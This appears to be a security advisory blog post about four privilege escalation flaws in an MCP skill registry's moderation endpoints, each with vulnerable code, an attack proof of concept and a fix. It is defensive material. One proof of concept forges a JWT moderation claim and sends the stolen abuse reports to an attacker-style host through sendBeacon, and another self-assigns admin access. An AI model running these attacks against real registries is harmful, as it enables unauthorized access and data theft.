← Blog

Claude MCP skill privilege escalation — skill review and moderation queue access endpoints (SA-SKL-PRIVESC56)

SA-SKL-PRIVESC56 identifies four privilege escalation vulnerabilities in MCP skill registry skill review and moderation queue access endpoints. A JWT moderationLevel claim forgery grants any attacker full moderation_admin access to all pending skill reviews, the flagged content queue, and cross-org abuse reports; a missing level boundary check on the access assignment endpoint lets any skill author self-assign moderation_admin; a missing ownership check on the global moderation config endpoint lets any authenticated user silently lower moderation thresholds or disable auto-removal policies across all organizations; and a cache key that omits the moderationPolicyVersionId causes elevated moderation access to persist across policy downgrades until TTL expiry.

SA-SKL-PRIVESC56 findings at a glance
CRITICALPRIVESC56-001 — moderation access level read from JWT moderationLevel claim — craft JWT with moderationLevel:'moderation_admin' grants access to all pending skill reviews, flagged content queue, and cross-org abuse reports
CRITICALPRIVESC56-002 — POST /api/registry/moderation/access missing level boundary check — any skill author assigns moderation_admin to themselves granting cross-org moderation access
HIGHPRIVESC56-003 — PATCH /api/registry/moderation/config missing ownership check — any authenticated user modifies global moderation thresholds, auto-removal criteria, and cross-org content sharing policies
MEDIUMPRIVESC56-004 — moderation access level cache key uses userId without moderationPolicyVersionId — cache entries bleed across moderation policy upgrades; downgraded moderators retain elevated access until TTL expiry

PRIVESC56-001 — JWT moderationLevel claim forgery grants cross-org moderation_admin access

MCP skill registries that maintain a moderation layer for content review, trust scoring, and abuse enforcement need a way to track which users have elevated moderation privileges. The common shortcut is to embed a moderationLevel claim inside the JWT issued at login time, then read that claim at the moderation API boundary to determine access. This architecture contains a critical flaw: any attacker who can craft or modify a JWT — whether by exploiting a weak signing secret, by obtaining a signing key through a separate disclosure, or by using a none-algorithm attack on a misconfigured verifier — can set moderationLevel: 'moderation_admin' and immediately gain access to the full moderation surface of the registry.

The moderation_admin role in a skill registry is unusually powerful. It grants access to all pending skill reviews across every organization, the flagged content queue showing skills reported for malware, prompt injection, or policy violations, and the cross-org abuse report dashboard that aggregates reports from multiple publisher organizations. With this access an attacker can clear the abuse report queue (deleting evidence of reported malicious skills), approve malicious skills through the review queue, suppress legitimate flagged content, and read the internal reviewer notes that describe ongoing security investigations. The JWT claim vector means none of these actions require social engineering a real moderator.

Vulnerable
// PRIVESC56-001 — VULNERABLE
function requireModerationLevel(requiredLevel) {
  const MODERATION_LEVELS = {
    viewer: 0,
    reviewer: 1,
    senior_reviewer: 2,
    moderation_admin: 3,
  };
  return (req, res, next) => {
    const { moderationLevel } = req.user; // VULNERABLE: read from JWT claim
    const userOrdinal = MODERATION_LEVELS[moderationLevel] ?? -1;
    const requiredOrdinal = MODERATION_LEVELS[requiredLevel];
    if (userOrdinal < requiredOrdinal) {
      return res.status(403).json({ error: 'Insufficient moderation level' });
    }
    next();
  };
}

router.get(
  '/moderation/queue',
  requireSession,
  requireModerationLevel('reviewer'),
  async (req, res) => {
    const queue = await db.moderationQueue.findMany({ where: { status: 'pending' } });
    res.json(queue);
  }
);

Attack PoC — PRIVESC56-001: Attacker crafts a JWT with moderationLevel:'moderation_admin' using a known or brute-forced signing secret. All moderation queue endpoints grant full access — pending reviews, flagged content, and cross-org abuse reports visible immediately.

// PRIVESC56-001 — ATTACK PoC
// Step 1: craft forged JWT (requires signing secret obtained via separate disclosure)
const jwt = require('jsonwebtoken');
const forgedToken = jwt.sign(
  {
    sub: 'attacker-user-id',
    email: 'attacker@evil.example.com',
    moderationLevel: 'moderation_admin', // forged claim
    iat: Math.floor(Date.now() / 1000),
    exp: Math.floor(Date.now() / 1000) + 3600,
  },
  process.env.JWT_SECRET // obtained via SSRF or env var disclosure
);

// Step 2: access moderation_admin-only endpoints
fetch('https://registry.example.com/api/registry/moderation/abuse-reports', {
  headers: { Authorization: `Bearer ${forgedToken}` },
})
  .then(r => r.json())
  .then(data => {
    // attacker sees all cross-org abuse reports including ongoing security investigations
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data));
  });
Fixed
// PRIVESC56-001 — FIXED
// moderation access levels stored in DB and versioned; never read from JWT

async function requireModerationLevel(requiredLevel) {
  const MODERATION_LEVEL_ORDER = ['viewer', 'reviewer', 'senior_reviewer', 'moderation_admin'];
  return async (req, res, next) => {
    const policyVersion = await db.moderationPolicy.findFirst({
      orderBy: { version: 'desc' },
      select: { id: true },
    });
    const cacheKey = `modlevel:${policyVersion.id}:${req.user.id}`;
    let level = await cache.get(cacheKey);
    if (!level) {
      const record = await db.moderationAccess.findUnique({
        where: { userId: req.user.id },
        select: { level: true },
      });
      level = record?.level ?? 'viewer';
      await cache.set(cacheKey, level, { ex: 300 });
    }
    const userOrdinal = MODERATION_LEVEL_ORDER.indexOf(level);
    const requiredOrdinal = MODERATION_LEVEL_ORDER.indexOf(requiredLevel);
    if (userOrdinal < requiredOrdinal) {
      return res.status(403).json({ error: 'Insufficient moderation level' });
    }
    req.moderationLevel = level;
    next();
  };
}

router.get(
  '/moderation/queue',
  requireSession,
  await requireModerationLevel('reviewer'),
  async (req, res) => {
    const queue = await db.moderationQueue.findMany({ where: { status: 'pending' } });
    res.json(queue);
  }
);

PRIVESC56-002 — Missing level boundary check enables self-assignment of moderation_admin

Even when the moderation access level is correctly stored in the database rather than read from the JWT, a separate vulnerability exists on the access assignment endpoint. The POST /api/registry/moderation/access endpoint allows existing moderators to grant access levels to other users — a necessary capability for moderation team onboarding. When this endpoint fails to enforce a level boundary check (ensuring that the assigning user cannot grant a level equal to or higher than their own current level), any user at the reviewer tier can directly assign moderation_admin to themselves or to another account they control.

The escalation path is straightforward: the registry allows any registered skill author to request reviewer access for skills they publish (a common design to allow authors to self-review before submission). An attacker who has published even a single skill to the registry may already hold reviewer-level access. From reviewer, the missing boundary check on the assignment endpoint allows a single API call to reach moderation_admin. Cross-org abuse report access, the ability to approve any skill in the queue regardless of organization, and the ability to modify global moderation thresholds are all unlocked in a single step.

Vulnerable
// PRIVESC56-002 — VULNERABLE
router.post(
  '/moderation/access',
  requireSession,
  requireModerationLevel('reviewer'), // must be at least reviewer to call endpoint
  async (req, res) => {
    const { targetUserId, level } = req.body;
    // VULNERABLE: no boundary check — reviewer can assign moderation_admin
    await db.moderationAccess.upsert({
      where: { userId: targetUserId },
      update: { level },
      create: { userId: targetUserId, level },
    });
    res.json({ assigned: true });
  }
);

Attack PoC — PRIVESC56-002: Attacker holds reviewer-level access (obtained by publishing a skill). One API call self-assigns moderation_admin, granting full cross-org moderation control.

// PRIVESC56-002 — ATTACK PoC
// attacker already has reviewer-level access from publishing a skill
fetch('https://registry.example.com/api/registry/moderation/access', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    Authorization: `Bearer ${attackerReviewerToken}`,
  },
  body: JSON.stringify({
    targetUserId: 'attacker-user-id', // self-assign
    level: 'moderation_admin',        // escalate beyond reviewer
  }),
})
  .then(r => r.json())
  .then(() => {
    // attacker now has moderation_admin; re-authenticate to get refreshed token
    // then access cross-org abuse reports, approve malicious skills, etc.
  });
Fixed
// PRIVESC56-002 — FIXED
router.post(
  '/moderation/access',
  requireSession,
  await requireModerationLevel('senior_reviewer'), // elevated requirement for assignment
  async (req, res) => {
    const ModerationAccessAssignSchema = z.object({
      targetUserId: z.string().uuid(),
      // FIXED: moderation_admin excluded from assignable enum; requires separate admin flow
      level: z.enum(['viewer', 'reviewer', 'senior_reviewer']),
    });
    const { targetUserId, level } = ModerationAccessAssignSchema.parse(req.body);

    // FIXED: prevent self-assignment
    if (targetUserId === req.user.id) {
      return res.status(403).json({ error: 'Self-assignment of moderation access is not permitted' });
    }

    // FIXED: level boundary — assigner cannot grant level >= their own
    const MODERATION_LEVEL_ORDER = ['viewer', 'reviewer', 'senior_reviewer', 'moderation_admin'];
    const assignerOrdinal = MODERATION_LEVEL_ORDER.indexOf(req.moderationLevel);
    const targetOrdinal = MODERATION_LEVEL_ORDER.indexOf(level);
    if (targetOrdinal >= assignerOrdinal) {
      return res.status(403).json({ error: 'Cannot assign a moderation level equal to or higher than your own' });
    }

    await db.moderationAccess.upsert({
      where: { userId: targetUserId },
      update: { level, assignedBy: req.user.id, assignedAt: new Date() },
      create: { userId: targetUserId, level, assignedBy: req.user.id },
    });
    await audit.log({ action: 'moderation_access_assigned', by: req.user.id, target: targetUserId, level });
    // invalidate target user's moderation level cache across all policy versions
    await invalidateModerationLevelCache(targetUserId);
    res.json({ assigned: true });
  }
);

PRIVESC56-003 — Missing ownership check on moderation config allows global threshold tampering

The PATCH /api/registry/moderation/config endpoint controls the global moderation policy: the minimum review score required for automatic approval, the abuse report threshold that triggers automatic skill removal, the content categories subject to enhanced review scrutiny, and the cross-org content sharing policy that determines which publisher organizations can see each other's moderation history. When this endpoint lacks an ownership check requiring moderation_admin level, any authenticated user can silently reconfigure the registry's moderation behavior.

The practical impact is severe in both directions. An attacker can lower the auto-approval score threshold to zero, causing all submitted skills — including malicious ones — to be automatically approved without reviewer inspection. They can raise the auto-removal abuse threshold to a very high number, ensuring that even heavily reported skills are never automatically removed. They can disable cross-org content sharing, blinding moderation teams to abuse patterns that span multiple publisher organizations. Because these are configuration changes rather than content changes, they may persist unnoticed for days while the registry silently approves malicious skill submissions that would otherwise have been caught by the review queue.

Vulnerable
// PRIVESC56-003 — VULNERABLE
router.patch(
  '/moderation/config',
  requireSession, // VULNERABLE: only requires authentication — no ownership check
  async (req, res) => {
    const { autoApproveScoreThreshold, autoRemoveAbuseThreshold,
            enhancedReviewCategories, crossOrgSharingEnabled } = req.body;
    await db.moderationConfig.update({
      where: { registryId: 'global' },
      data: {
        autoApproveScoreThreshold,
        autoRemoveAbuseThreshold,
        enhancedReviewCategories,
        crossOrgSharingEnabled,
      },
    });
    res.json({ updated: true });
  }
);

Attack scenario — PRIVESC56-003: Attacker sets autoApproveScoreThreshold: 0 and autoRemoveAbuseThreshold: 999999. All subsequent skill submissions bypass moderation review; heavily-reported malicious skills are never auto-removed. Configuration change is silent — no audit event, no notification to moderation team.

Fixed
// PRIVESC56-003 — FIXED
router.patch(
  '/moderation/config',
  requireSession,
  await requireModerationLevel('moderation_admin'), // FIXED: requires highest moderation tier
  async (req, res) => {
    const ModerationConfigSchema = z.object({
      // FIXED: minimum thresholds prevent disabling moderation entirely
      autoApproveScoreThreshold: z.number().min(50).max(100).optional(),
      autoRemoveAbuseThreshold: z.number().min(3).max(50).optional(),
      enhancedReviewCategories: z.array(
        z.enum(['ai_agent', 'filesystem_access', 'network_access', 'exec_access', 'payment_access'])
      ).optional(),
      crossOrgSharingEnabled: z.boolean().optional(),
    });
    const patch = ModerationConfigSchema.parse(req.body);

    const before = await db.moderationConfig.findUnique({ where: { registryId: 'global' } });
    const updated = await db.moderationConfig.update({
      where: { registryId: 'global' },
      data: { ...patch, updatedBy: req.user.id, updatedAt: new Date() },
    });
    await audit.log({
      action: 'moderation_config_updated',
      by: req.user.id,
      before,
      after: updated,
    });
    // bump policy version so all cached moderation levels get refreshed on next access
    await db.moderationPolicy.create({ data: { changedBy: req.user.id } });
    res.json({ updated: true });
  }
);

PRIVESC56-004 — Moderation level cache key omits moderationPolicyVersionId causing access bleed

When a registry administrator downgrades a moderator's access level — typically following a security incident, role change, or access review — they expect the change to take effect immediately. If the moderation access level is cached with a key that includes only the userId (and no policy version identifier), the cache entry from before the downgrade remains valid until its TTL expires. For cache TTLs of five minutes, a just-downgraded moderator retains full access to the moderation queue, abuse reports, and config endpoints for up to five minutes after the downgrade. For longer TTLs, the window is proportionally larger.

This vulnerability is distinct from PRIVESC56-001 and PRIVESC56-002 in that it represents a window of continued unauthorized access after a legitimate revocation event rather than an initial unauthorized escalation. It is relevant in security incident response scenarios: when a moderation team member's account is compromised and the response action is to downgrade their moderation level, the cache bleed ensures the attacker retains access for the full remaining TTL period — potentially long enough to approve malicious skills, delete abuse reports, or exfiltrate the pending review queue before the cache expires.

Vulnerable
// PRIVESC56-004 — VULNERABLE: cache key uses userId only
async function getModerationLevel(userId) {
  const cacheKey = `modlevel:${userId}`; // VULNERABLE: no policyVersion in key
  let level = await cache.get(cacheKey);
  if (!level) {
    const record = await db.moderationAccess.findUnique({
      where: { userId },
      select: { level: true },
    });
    level = record?.level ?? 'viewer';
    await cache.set(cacheKey, level, { ex: 300 }); // 5-minute TTL
  }
  return level;
}

// administrator downgrades a compromised moderator account:
router.post(
  '/moderation/access/revoke',
  requireSession,
  await requireModerationLevel('moderation_admin'),
  async (req, res) => {
    const { targetUserId } = req.body;
    await db.moderationAccess.update({
      where: { userId: targetUserId },
      data: { level: 'viewer' },
    });
    // VULNERABLE: no cache invalidation — compromised account retains cached level for up to 5 minutes
    res.json({ revoked: true });
  }
);

Exploit window — PRIVESC56-004: With a 5-minute cache TTL, a compromised moderator account retains full moderation_admin access for up to 300 seconds after revocation — sufficient to approve a batch of malicious skill submissions or delete pending cross-org abuse reports before the cache expires.

Fixed
// PRIVESC56-004 — FIXED: cache key includes moderationPolicyVersionId
async function getModerationLevel(userId) {
  // FIXED: policy version included in cache key — upgrade bumps version, old entries naturally expire
  const policyVersion = await db.moderationPolicy.findFirst({
    orderBy: { version: 'desc' },
    select: { id: true },
  });
  const cacheKey = `modlevel:${policyVersion.id}:${userId}`;
  let level = await cache.get(cacheKey);
  if (!level) {
    const record = await db.moderationAccess.findUnique({
      where: { userId },
      select: { level: true },
    });
    level = record?.level ?? 'viewer';
    await cache.set(cacheKey, level, { ex: 300 });
  }
  return level;
}

// FIXED: revoke bumps policy version → all old cache entries become unreachable immediately
async function invalidateModerationLevelCache(userId) {
  await db.moderationPolicy.create({
    data: { changedBy: 'system', reason: `revocation of ${userId}` },
  });
  // old modlevel:: keys are now unreachable
  // next access to any moderation endpoint rebuilds from DB at zero-bleed
}

router.post(
  '/moderation/access/revoke',
  requireSession,
  await requireModerationLevel('moderation_admin'),
  async (req, res) => {
    const { targetUserId } = req.body;
    await db.moderationAccess.update({
      where: { userId: targetUserId },
      data: { level: 'viewer', revokedBy: req.user.id, revokedAt: new Date() },
    });
    await invalidateModerationLevelCache(targetUserId); // FIXED: immediate effective revocation
    await audit.log({ action: 'moderation_access_revoked', by: req.user.id, target: targetUserId });
    res.json({ revoked: true });
  }
);

SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect PRIVESC56-class patterns. The scanner flags JWT claim reads for privilege decisions, missing level boundary checks on access assignment endpoints, missing ownership checks on global configuration endpoints, and cache keys that omit version identifiers on access-sensitive lookups — producing a graded report with file locations, line numbers, and remediation guidance. See also SA-SKL-PRIVESC55 analytics access patterns for related privilege escalation vectors in MCP skill registries.